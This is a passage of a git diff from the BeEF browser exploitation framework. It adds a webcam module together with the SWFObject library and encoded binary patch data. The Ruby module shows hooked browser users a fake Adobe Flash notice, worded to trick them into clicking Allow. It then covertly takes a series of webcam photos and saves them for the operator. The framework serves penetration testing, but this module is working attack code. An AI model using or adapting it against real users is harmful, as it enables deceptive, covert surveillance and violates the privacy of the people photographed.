zwMaXVu0z_1bUo4yNH-$ggmg2~El9T_ts(6~+Kn_q+Jm$g={BU>k@g|&N4f*)P9#46 zZv6fx(mhD`BIV=%xAA`uAbkhvAkrbE?;?E<>HA2Bk$!;mAkq<}hmamddIafFq+cN6 uF`xUNU!okps+8r;@bBM-->1TF>U6Vyi0$d~qk~UTUomZ#O*rnxYT!Q&APLt1 literal 0 HcmV?d00001 diff --git a/modules/browser/webcam/module.rb b/modules/browser/webcam/module.rb new file mode 100644 index 000000000..ad22db94c --- /dev/null +++ b/modules/browser/webcam/module.rb @@ -0,0 +1,63 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +require 'base64' +class Webcam < BeEF::Core::Command + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam/takeit.swf', '/takeit', 'swf') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/webcam/swfobject.js', '/swfobject', 'js') + end + def self.options + configuration = BeEF::Core::Configuration.instance + social_engineering_title = "This website is using Adobe Flashd" + social_engineering_text = "In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will increase your user experience." + no_of_pictures = 20 + interval = 1000 + return [ + {'name' => 'social_engineering_title', + 'description' => 'The title that is shown to the victim.', + 'ui_label' => 'Social Engineering Title', + 'value' => social_engineering_title, + 'width' => '100px' }, { + 'name' => 'social_engineering_text', + 'description' => 'The social engineering text you want to show to convince the user to click the Allow button.', + 'ui_label' => 'Social Engineering Text', + 'value' => social_engineering_text, + 'width' => '300px', + 'type' => 'textarea' }, { + 'name' => 'no_of_pictures', + 'description' => 'The number of pictures you want to take after the victim clicked "allow".', + 'ui_label' => 'Number of pictures', + 'value' => no_of_pictures, + 'width' => '100px' }, { + 'name' => 'interval', + 'description' => 'The interval in which pictures are taken.', + 'ui_label' => 'Interval to take pictures in ms', + 'value' => interval, + 'width' => '100px' } + ] + end + + + def post_execute + content = {} + content["result"] = @datastore["result"] if not @datastore["result"].nil? + content["picture"] = @datastore["picture"] if not @datastore["picture"].nil? + save content + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/takeit.swf') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/swfobject.js') + end + +end diff --git a/modules/browser/webcam/swfobject.js b/modules/browser/webcam/swfobject.js new file mode 100755 index 000000000..8eafe9dd8 --- /dev/null +++ b/modules/browser/webcam/swfobject.js @@ -0,0 +1,4 @@ +/* SWFObject v2.2 + is released under the MIT License +*/ +var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y0){for(var af=0;af0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad'}}aa.outerHTML='"+af+"";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab$ID9tkgb*OK&=v3m1BMO?sC1Cti=aRX2?1$B zz^-5gD*}R8k*1)i2w1S7Ac&nJVDA-syLxT;?+NJj-uL~z&+p&9=X<{AJ2!iFc6N4l zc4l^W=J;IF5&6Riax@3g1cLFjc5;i6E_N3}YMt9|mHE z(5(>ku9SFEO1vQ@o|Y1?ONmk`@v4+~O-e+RU-P^gf-L`VI+y0Ze(#eHPIb!3ule2Y zoF=yJJei0+b2_SjX5QT3drmRCGj50P>Tz=1C=_igf9zy$9<%fQf~!vXF5E}mhJ8+a z##H;JuKP}BvrlZ-Hb3q}&u%~HQP$D=#eEwVW8L41$ez1S7~co$Ie)!1ebzwg(e9?! zM*tyZrzOS{6H_H*my8VF9EKn*#f%r9#uu6;rtlJknR2d)l2A!TVrl{lcjrlX^1~fjlEh>6ZZD&bNFXYo=cGM<@oBWye^ zh!O7L%Fs0FSrXx2i`4uVp++Rv7}4=RrKLp47;FAZ_sBSupD4irIgz_tm`o6=U_@z3 zxMPUYX7e%xGGC*(@-l_vZJ7T+I}D?>|HX}d`7;rULQEE>$_scY!VF$!T2^ZOh!3X- z;}d!0P#i;(@MZ`TC2_EW?$1k14NFWBCMTu}<^0pK6NPTciRl`DQ8@fgp_HC1gfjRE zMG{CRm_Z%cABjqCX{i$7Y>B@xHOpHfOi{!c1SJYwQsYB~sqtufhA^F%AyiCFi%S#5 zr6&p`SsB7i^}jdcGKV)MU$*}!!`qM|%7AOJBxfha3)9FE_?yQ6wLvM6D=#HeAwwok zV7eqREj3gAH({vo7!YPawNO&#_$8*!AVSSh++^BO`q?!yuR^A5^Lp`8iQsRX;EI(YyP$YkzL`)VXr=?{Wh$WJA2XpgblR)E`yM$VsTUl6)H|J+1CQA}i zX~Swt5T>P&vhZ^$LuQ5qp(H4AwlLY+iaaYZULvN5g^3Ab32*_fzzw(q58w%=059MT ze1I?T1O6ZY1cD$C3_?IC2m|3D0z`tTAPPhS9^eB3hzCL-0trA25I2&p*m6xpSF#>qwsul4B&|{!sGllVR2roG~ zZ5BxYEBXl1Wf%iF(}zuB<`4H^yy8eBJT(Px(lUh-+yUX{CdFs)W+{#MiyP#`=Lu$z zq1_UMv{3x*lAM^3N(~DPiu3dE3?uXKrlPDT6izJkhf`4l0^>s6T>L!bGJm2pf@E&3 zp9Kp~KN)(rz5w?p#&3=!TR6ktBOpA^JIupBF4V)%!!3-#i;tJ}_$6lIM`eamChq7w zNm_=hP?VM-WQd{1y5er&or-UaOnE_8rX(#z29wgWGR5+Ozb2virSafp;GHT;BW0we zNodKx+BBJ`3!z#wHU4&8IsDqSYJbOvrsF3Z_IITFa6Nn>;md=&TbMEW??f`|@dT2@ zY~jew^&gn%{(cQQ{KG%={=s{Z>AjFCBy!J`vE*RlM^L# zPzd6NqlAXJgoTIFc@havARZ>8rlt)8iqJNmxXwZa8HwohSkVo z0w$SBWzv`mnkr<3Ia$+5)0ye6>BjWb^k({Mc#;tfvbKu0G8v%?nIetJ+D^;^fQ)E+ zYxe-{UZC9vw66f|exN-7sDprd6`&Lps8CeZ=))C3ovA@20RlxCXv%4+0ji=7U?}S9 zjT)_QV5l|*TLVx)Kmid2B$NP$q9{=gCCQ_Jj*=BovJy&Qpg@E(&<4G9Lv39jJqNITwPQE7U{+3baumMnNJ9l29;1jsbPE2k4Mc=01Qj z_X9acvK)nok{bZ3-3UiE!*U3qq!w5oh2=Ovi6>y)3d>0dpMrH8EbRa#cfh(6mNT$) z!EzRsbCBzKSYLp&7h!z~mdmho1086OYY@5)%MDm=!g33i+pye))c0Vy56c5s9s(mg za0P&XAOs?jhzv*807sEV@c-x}00QAJGQ5z?AfG9C=KpB6j;4f8xplSf2r~`z~#1R@$ zFip4s0#OSfL~R_U0}y3h7^CaqjZye(G(hC_alin78RD-oP#O#eSO8Hl!hx{>QDh?s ziWuW96Z|z!rXvnOfGI#|W;n_mAOs5>u*6?h_{$o9+2Ai*fKbQdzy!LS9Ku9MbU7NL zMX-~}XD@p@Or+8gU1ZW^sv?3h91+9`aR!K?3qTB9ApzosAXLO1K|ByofQ*@fAYO0121fe6o2;ztM<75E<86AiqK}ax89|91#JXMm8GEps*0*FYMGD$t0LLefVhz?W% zSp~>L%WHrMBm`&!5(y#b0S6KwvcMz~AQ?fc5J|*t3pgEcmLrj?N!=D0GQb|x&mjs( z_=}9cC>SC@VWDCSOdg}bwDg> zX(SeeIbtfX#e#TuECoxz{2}ESILa9d#>Ci6Y&vEM;Q&aRfX%^XV?xXe;^HtqmX5_k zoFKv(7Yho=n2aED+z39YR}|S(fmxMf@s*xaLDpa&2I$Z$F$glCKlQPsK#`0fu*w?b zT5(k%eIGBfjnIoZs~?j}p?E4#2y;weVuA@EtPYprI?~dFu-!0h0!c>D|5HUKF!?uu z$^TOV8~&@nz#Nzp%!#ljnUl>a5!7Mx4B!@GOh<6v7El@9_-xv}7#LZzD3VX%qoT+P zSW#hxQ7bBWkz56w!tg&(v=Q2(Y zr-&k%XQa|Tj8Ks|*hb+~Fa~q4RLUoN!CePEnLMG}B9<9r&b8)RdYTi&%vclHU~rZ3 zhDod*Y*=s&@P=NjF>H+DD&h@exD*nROoE3pzLb8MB4xs3pdTX)K!Hh&?NH#J%t3}d zuGH}?sTA~;^GQ&BHpB49DtluL{1(l*nBG;hZ7VJT`fW#J%*#Zh%fU*Ttwm^<8ps@w= zYyq7uP+$ub*#afDfWa0hvjr+_fht>|#ulhUGcsY(7%5D~YIyYb@F5JfiPtEs%d-am ziQ17Rpy4nW!BJ#n0@6QmkWR*qFoGiw(~;Vc_YK{#tyiJ6!?ne=4eHhKxue-z9L^~goq+*;6x~&igV{v z`EoM0a(o)B6(A3V9p+RxSk;`&m#^TfLM+3az*iUsRrqunYh^x-uMFF2cn#%IA6_9} zozEDViYROB7;b=az8YU;qz9EXa3M4>YI&wWqm9XD!s8_QhxC_ymjA;(cK>Q0yWi|X z9l=@rW}n}2KkdU9!Lfg{&+oXO_R$={>HlV*-*Nv7_R;?@?8EroJ{JF1?Zf`vKAOMV zhx)sH?0(v(?WbijWR_tvH1Xq)&*VnH7d(aVSA}N`fRs3$v-(|l7Qs_kjsQ<#A>7ca zrldes5TlAQ@JbEy89pXFhb!;DwUFTo{H>B9Rbfl@SM`e$89p0m1R{x?B%6#pOr|_c zMwN~2mEn4ZQN+J7SN_|?gufw2NQnP}gfq(H=T(&Kl7N#^WD~HK{w5skz%Ot)cnn(g zh$11T4fH_uypT#qxco+8_zwy=0i6UVC?))y0Ue&9g826t7{lYOdt@ik2n&Y#GZ-2C z#oh8R?()px`5Av7Z}A_;8~hs2+5wo)|F(b;28{p6K>1$afY_|IWVu*098XXM3l=d6XimL?TzgP*^{QB%t6gS-^|OHF!uxgGC+|IxGsX zDDq*nBZ|an`DE4`AOq1D+n!!eTf)c~Dnk{&>GioPctiy^Gkn8cg9lX3>W`#Su0GD9 zZ%3wpHVkGB^5HycO7Je#fLA)i1Zn^VHryPJ7~p|`2S*SeqcI#B$S|;tISJ$$6g;+) zKLw8vDC|BH6_|1vbM^W1qDTzct$ZH_Oc1XoC*w$ggZjK+ghOQ%;=`z!0y+cceR6G7 zID{%2Vxj^$8pHEQey=i=7y|SinI=#J3?&mhXcZ_jXt>EV_$cJorU(x**jFj@8F)Nl zO1nG>AXA_K3CMU)#qcVI`IpOnzb)k#8s|mDXJv|HB0H&~zln?>N@RHwxknb{;OW56 z$W!uLbnvr>Q9c|KQy6RTbF3Gh-+l1V_KYP!>KHN%X&JKU!;=i)H6TM!|3b*&h+i!l z*N9IthnlJ|r}5<~%FX5Zw2E?84uHod7lU1Nyh}mWrHFSyv>8Mz;%FrqnlX%qfh``x zQq^a`xS9-oiK;$T=H-k^n2?csXtMY%Rt1AP#>f~2CQ?e64yKC{FcOB!k}PeQR+(T# zjEd1=7NdoY!i=$Tm>kT{@Qh|OOu;yqEzH$aF?bDOV=+_A1{;s5!34|zGs4VZN;Uze zZ0eXHOvubJE12m_g!$YU48ts78fFg@I!DYY!da{mYZXJpoPCHuY!z$x6Euv~{t0Tw zD*OZ$Vy!X6L?$wT`43)@pCv+BY#nPUTMz+?O_D7ODjSMS!{j6AV#`-dZ z%$3yuSf>D7ZV0Of!2JrBX$|wr4Ax>G6MzY|qzSdC4YgqewZ(?oG=Unkg*ux6b%X1} z4W_Lgm?t&`rlsDP4;G4rVc}Q=OjoC3QCKw07~^5eDuRis7)!*GuuM#XWntOaESSp9 z!RE4-0C-`rmI2msz*+%Vd4QDs~E6009FZLl>*jAz$yc*O@LJaSe1ZP z1z6R9RRdT%0c#gv)dE%>U>yLgM!;$UtY*ME2v~;z>o8y)0jw6lY6Glxz&Z_B9e~vd zSZ4sM3$V@t);YlH1*|^6x&m1JfHeSEgMf7vu&x2tb-=m@SoZFWG23SLY^%k(+0oHrK`T$rT0qYOI`UF^?0qak|`T`;0Gfg6hW%kqC&A6kwP ztNb5KuN*t-r|Ai}!HF_2C(CRv!_9&$M#U=rVxcT!f}5TKUBCsJ9)-rA37x=DW_rk5 z4H{kM03)WCgKl6A&Ho1X0^IUFKxTIgvw=&;Sa5~EeBdt+_&;g?#o+(#F7O}h|DTPo z7;6(lG?l~80GrtHKf&?CS>Q-UsQ>en(2q6x2^z&>KS3?df}?Tz$chyqFWU8KJU zi&w@4>9-Fo=jDu=2+CRN~jm07FUE?t+m7p<;&&6{8iXg~aFv>LM|m-arn1 z!z)v$B=UL~V6g{e8RgG=Lw484vSUym6cMw37a4{cG(5%_6F3Hm867wpi81XF#r24| zfu@8Q^+0tbh84&{FeD3R+F66J2uQyVmt8+`Kd&DT{GNotKa3Xwm54E8xkg;=UM`cX z=Q);~H2~WfSD}wFeZu(IN*_=6?xtw{N`J4ru zg`7p49Kgv1oW+2%1aOuD&N9GR4mc|SCl7G)0cR!PtOA_XfU^d0)&kBtz$pNn^?*|d zI7NU{3^*GArvz|H0cRuNlmX5rz}XBqTL5P(;A{h&?SNAbI6DBR0&pq;rwVYY0jCCV zb^^{Wz^MhCI>6Zt;H4EB8;(i;ul(mYQakj7K);XImR%iLUcXN7bxC=y_d>Yos`x^@Jt z6`;L*lF3N{^fxLu6uO#9jYuE^=rx$rE|H*I)}Z{}kU=~Fl?wA{^=&d&25RFGWQ1qt zzwjjd3k>t0N{TluO~3TriZ!ZFAI`LBiz{x+;{WLV$GuuD(})LyuTKFk8@r=~V= zI*{@CI~Nlu{bV&FPVB`E=aXmM+*@B~o>9#;172)2*4gKxXxvD!b!CJc`y=!r=Xtpfm=GCWon01EnR zERpUkhTrV<_AyqBvN%J`{r3JJvnMgX`_%0mSZjQmu&J zJjq<=9&=}Km;z$tv3MVO z06TlQ-kv%DQgA2qLSWe-T+}hp=b1#n$swmPWI&Vu3{x_0DmP7(&YKDA3{fUe66+h| z=i`TnePbPCoH(a}j}s6(avix@qHJzJ;4A{yaV&2(*Eetu!u1u+>(6?Miv44KVit6Z7K#>mE&w8Uu=&Kg#Zb9EoIp`7@T3Bz0f;z|8wii;_`s!rzzt-bB)}gwYHZ*# zK;i~+X`rSkRl~#{K3^`M`p^5|&l4tcGPW{7oh44L{;Za7Zih!x;SENzD)e{tu+muLY;! zbu7H56Q+sC+qpcRVCzgE5~oBnJHX+w|c-8SFxo^jVvib{!$=zTK#yzl_Kr&WAh1 zLLW!g__u62` zcu`<3x6;n)zHZb6t)(bq$kx${70h0j3yLkDD6I0*@D1SFyQEhfVz@gY9iE9*Rcb4D z`&;SiZdz7o*>+I=VS3&As-CA-+b3`e)bcazPH#1e`yT!yKGs}sbiBve`<$czsWkE- z+5Ih(y*~J&v10m>WfDv3R4-c+MVKJHWiGAHwK61|J4vOV)$NS@p~gsS^JbV35OO5x zSb=px;n!)C=jv|U@-4zJV5(cyY9-8d>RDs+peNF=g{PH~s~2lW9s8c6I=1OiL{T{s z+|EmR-=iNet3IoK&c~}S+Frup=I0rkUj`)Hw7%^4 zC~Xe!>%Ogiv$jRO{O^{xG{p0LujGM62K;_HC1((^2 zp0KjVsFcObC?J=8&CnW9I%N3D`pWm?lJCxYS$@=It$p_L?GE#e z_3b5(rxylf&bheYb$>v@mzIxh?{9f~#I?U^*#4u|Y18Y4+ojSM3xDi1eg5a=SMM(! zcu4YC@Z!ja?~^oqe!N=~obQuVDq6Z^j1`Z;coPP+O(XYb`vq_67~4uFw2+gQa&ZeO zA?mRTF`r9vh?V=&X6Y0Va^@Q~VyNbFwz}K_zxY%0RISsS6_H2esSm7jMPWXQmJ?Mf zW`DF)u6j1cjBvr9bk{6rJV7^8UO&)n|5%SJett^3ipj?^Hy<=|3tB_BTorTt@{tci zAw_1Un?qhdkG^b-71fuKE?r{(QFUeIs!g+68nZt6lZT?^s;7MVu;=L4+f8esul>ks zl}g{Q6K7wa5iwC-xFfOYda}Pq%*FQNgEnSL>HBwSf;27bBYUbdnm$Cm)>?4%s3{=o zY+>wAyT3dS8T{dQoBwfW*5V1KTNlo|^JD1P`@Bz1jPIYC>rV#7I+aTIeh8kTev6@FfPd#dRBsRuK&wfyERF&!K0?_2QT!g{H6uZW$8Aoh1Qy?Zt~^}Dgs zE_c%t!R*{T+(Pm>rHMPd=O^S4bsC>BE*w9+%mjU7PSHfUt>*mBNakJjPSE9wf`Wxw z^2XQq?ul;Ty4~Tl1!V++ z9yg79zM}8)(P$gaqE@EqqUP4Gdo!idxo4!(W7D*1gK5V7pYx}`i(S1RQ5v90zfIn9 z-7DuU5IG7LrA${t-|+R*1DU)j;OIA6;+jP6!!q9nNaTou%*F$8&U z|FH1R+p=-Y!xK!^;|+?rDV~+nH{Fzeoi@8;-_nVri zWhWAf=AO8F=IH0{eft)q{<-hWna^+`+uzD=h9Aiv`io!yKJj$(75VwoUaP8%N9xb* zrP^99DPZmo8gFN}*eVCN5F>X`xZP{TWB+zjn}mWb9f!Tp*hTt5T2XhqR~4Jk_RCXa z(Qnzxyeo`koo93RcU+3d|5meg1-ua2@_ z4-Kzt$yJ5XZ0q{enFIOmrwl7i6U*Z_+ZKOa5C>PJQLN0sdaE9Hx(0Xl&UU=4cHAI* zww>yQAZHVrn3mA8hq5wZKp>an8gE(L9MGs~k##bu$5|M*fneoV*Ecoct)Xj$jX{C> zyWKQGg33{?o_R|Y#cGwraT<6gJG${HT6A*M6$=G0i z;99Rn_qn$D?|El+iIVQ}C(}=#9(uJ>uBgs#ThR`VW<80`ZpkW{=2+G#S#_jPUQ&D} ztZ2*l;5jROEIbBQ1y>y%Eee@;<7?ug6HSry*G}I}2!#mZVcUJgckwKC2N(IW58ZgE zmd4E+H@m#RqCiEJq?_lxQhPRTA=TWg*D4*B4*9psH9igccJZ+0+NG9v%O3iZJn8z_ z`U*ugS}gb8-7#yvT7{VvdKgY`@L*f7U|{R`<<|vu@47;+mD+w7pTIa6qp#ySPfuVn zW`EdAn+m6;?G8B0X_ZOSqFcqsFRJ!U zuyE*jZ~bywOi!rRmJlz0`9J(0FMqOb1MSJC$9dt>AFa|KhLV1lZUp(7V*2X2#*#-l zs)nBFR;v1sriD0nZDUj-N-Du+Il6qarT&%_B5omdaLuyPg_5+Ugta;yIlC7UN_ zx3b;}L4HqzP&=b@vVqkuvi9mcRU?b5OGW{eQyn--p0ebaE^7S z?`D%ri??Pu)|tO5+^Sxlzu4PY{drZjS^BXTSqT@;ch-29FD7XoyBxCBcAxZ%ll0rf zvS$~^C8`XDUP)4xyJHn(v|g*!i#4^i(=4da=&_Y)#$wv~QQjm|Lp6>Z(YH;P>RQk> z#uA)Ffb(g=YR!|oFb$xWvu5L6XKPY8Q(kgMYbN>3oYMwn8O8b;Hp|Ex4H7r2m1ub1 z)91}!YR25J6>rtuv?K}eXg4|3rTX!C3hrhFM^+l1oY?-&CU5^-_epgg>uveFb?tKB z`;?JuZ#RWRhLjDgZ^SkgdNl1i)>MtXbiV%Ztn&B}+Xl(ND%(2?qW6}3xu&4;Jtg#} zLF%;gK7?|FFr6vXUvlv*wZMy2;^KR78bkDMuJiK7Pv%NvnYHRtS-pIxJ_pMe8 zQMaXx7O0GJpc)exUb%_}q-Dy6idL*9@4|4B+&i!5?20fOyWC9|*7zjZ_=^ubAAGfa zR&=+}+H~U4>#5bx6T-uHH2U=|p!G{%Kfk?iXyB^LfgY;^%a<(A7Phe;6=Z~y_dGIT z1EU;P#oRPErTfR`cP&|0J3jqG#XR~9Z?ny3lWgZCba)~0L_}hv>xV|@zjjt4Dr9{a zd{)EvY1?^kF!q?;#cvx7*4+zLoM~bI;F#C4y9y6Bp3X5{k+V&mYOg;vW~`ER#!T{! zs20xIu^(g4Ivko&+2^>-E2eK(kEvJ0=94qucR3@(ium>c zWz$m+Kie=FlV*m!MRpA;7=%17wanhss7a`G^9?R3-`I|&8>;s9m|psH&AAaRnrf4tS-iV#)R*per9qgIq5r|{b=IL< zH?1`-i)rNtG>{hL=BRrbNP`jaun(B3>s(3tHhb9{W}AC_8To~MWu186yuqRG5!W|6 zD213rx5k%^ZnQu0Vb=lgTC0pw*#%8=2-n~2j37Ry;!B=t3Z7kma`-d)uP9PmY18}~ z@7gq@$ja5njxEmB^wiC(I@ifqOEVayHgmK`sb;cSMY7FdZBop+xa;obrZcjAKlDbQ zU*Gz9^Q%j74v7}$6rDda4aXz<<)>1*2^$fvoaJgXh^Q>FH#k6J6y)`~w47b5Ofa?b zy0|s^dEBCX^|r@{T4;+tHeabOU$A=h*)Tswv|^!$-=Hj#P*ZalgIg#(cLQs?8}Ctl zTXB!*ROP(9_7Pgy?<5rkXop_#wg^O#BuIsBaY6k=ykE%QK z_jy%Q?p++6GfrblK2ok&zJ5gxVYZNpJOoQ;lJ}e}x9nJNbM<~gado}k%Xz#1I5C(u z&0(|fcK)sCwG~Udo^Nq1(kV}>I*!LRKPVU8a9v%URkhd6l7E$A+C!YciMx18v7&z3 zlD2uh>a4B(PMXUj8ub#o$of?_4gK~rT;qkHXS@O2x=mH-%%za0^Lti<>K* z;_ubBZLmq$f6VqU=MQyzC68|BTX%$Q-&~^vx5j_cQF>TF(L5l>nASGm!caomkKH}A zE@$833o})AbXphCx#XG%28i#;!Mq zdAC#wq>ez-8L>ixBhIhc%?bXq(q{j8!_remL8m~z(Nd4X>GTu40H(=ZuTTDAt3Fed zm3s6`isJQWRBr;#Ueur}qjL2VONzc=J)6^mO}buH%uS`9oauXoyL^3$V%E!|wZZY` zIhrdbDL&41r=2WRBd#{B&=(U=Zq&HjTDsU%gD~}xgPhq1W0QT-ZV%f(TE?Y5HC>0@ zVp%0Q1Vt<6_7&IphiBuSa8fs6aeNzdvr$H5-du4@;ynMX=mN}HnPV@PXc#97Y6vwR zlhl$Fc9&78VbEQ$#Miz?iBVu7^y=RH=n;qdagqg#lS1uWE7?HU(Cq$oO8CQLk?!N4 zAL{RXOR!=vlGR9EYQ169iZ`E`Zrsjp0~2ue*O5Egm6slko&!c{GmQ8BQ5QE(ns0mBmP*Z9fTk( zMGD=+y0p3Q#glUnIeOdoSd{NMD{QEKxn|c_Bd;88iC|O5&;U z2lH+ER-L>vW$dHN`FZkc;^)~DnC|_?fs5}r?xS10cdiNw^+AxJ^YTH3Yh9H&xn`5R zE6W@P!hG}d%My1S4e=0b8m&H8`Z97+y*kVLSxlsdD*51x#)w@dW(Rzo&-RFXilovZ zsr0Uv^+}7x5vIxs3omMqe{s#oV7KH_&&Qq+`e+TUKSSsZ_bO&>+oWxDzeuia&uZ6m zs|&RpuOGd-VfBu&bSv}FXHi+Egx*%ObC>( z+))z)M}?eiOYiDBkXzQLR%R2{lIDHo)s4pT@I9()>K?8C~+^m8{plhw$m&vpd|c? zoe6HCW>B0`IdKfM(2}O=@^8V1A0?5eZ#3Gs>T?n6a;WZG$Kv~UZN;;!_I8wo&0`H- zy}7w4I_0$F`qTT#&RuP}ipJ&q^A>h6G(*?5 zgvs1y?EhhRD=k~={KQ=5^cS>0I&W&S>QBBVd|G?RZkn05PDog`nBf*E9$M~VUV0|t z*l3+uwbci74(_n9d3Ygv+w&CdFVnwdTA>7!*n+n0ZmZjoA_ z`FOLT)86fN!kt0sgbhOwO48e1_!o8F|mH`XtD` zobmmvYGS?%FT9uUNzKV4Ahn72y4%TjEOxjfg1hk+w`@|rXRcURM#@Q`Cyw)T4mtJo z+m6r8ITpm;=cT+JOWZ=&kfQaKmPU>#?c;2O_qXRDbmtCbnOG$S zX!el?P2DPbiel}DwUmozH|t8a(YEMQt(s2e+MM%4_8W(ol!q$atoRVhF@N{{_>xGS z9iAL<&MxZuVuZIGo3R?>I5XNb*?x9wluzZlo}%lkT3{zvx!Hc)ddxf^vi}?Z{nn~m zq58+*O)Hu&Nx3IZIepJt>c$ax3{9m#NsCY^Li9YJSOjO?Ppvoz*o1t;9aR@#%ZE9KBn2 z+EjmR2(uZt(DR&eOdV&t?}*CE#@%067XU}q7Y9CS1V>r*KYaiFos?&C{2acdh0pgI zKOZgK8(w{2N}$P@L{U2az1iqZyG>n7|1rV^BoA4GbZ^kBS&!YV3GK2Cd1QEHeMfm? z_=deVR+x`VK#jKMy>wk<;S_ZCaOBF4RYPwDzW%3@*VXrbyytqUQsnib_R*6U)R3%) zvk&%{4;@~k-m-q9sHEulveh@N9qSt@rB}pOY0|e_Qx7&Zoj5dI6cc+`>cqTsd~|~5 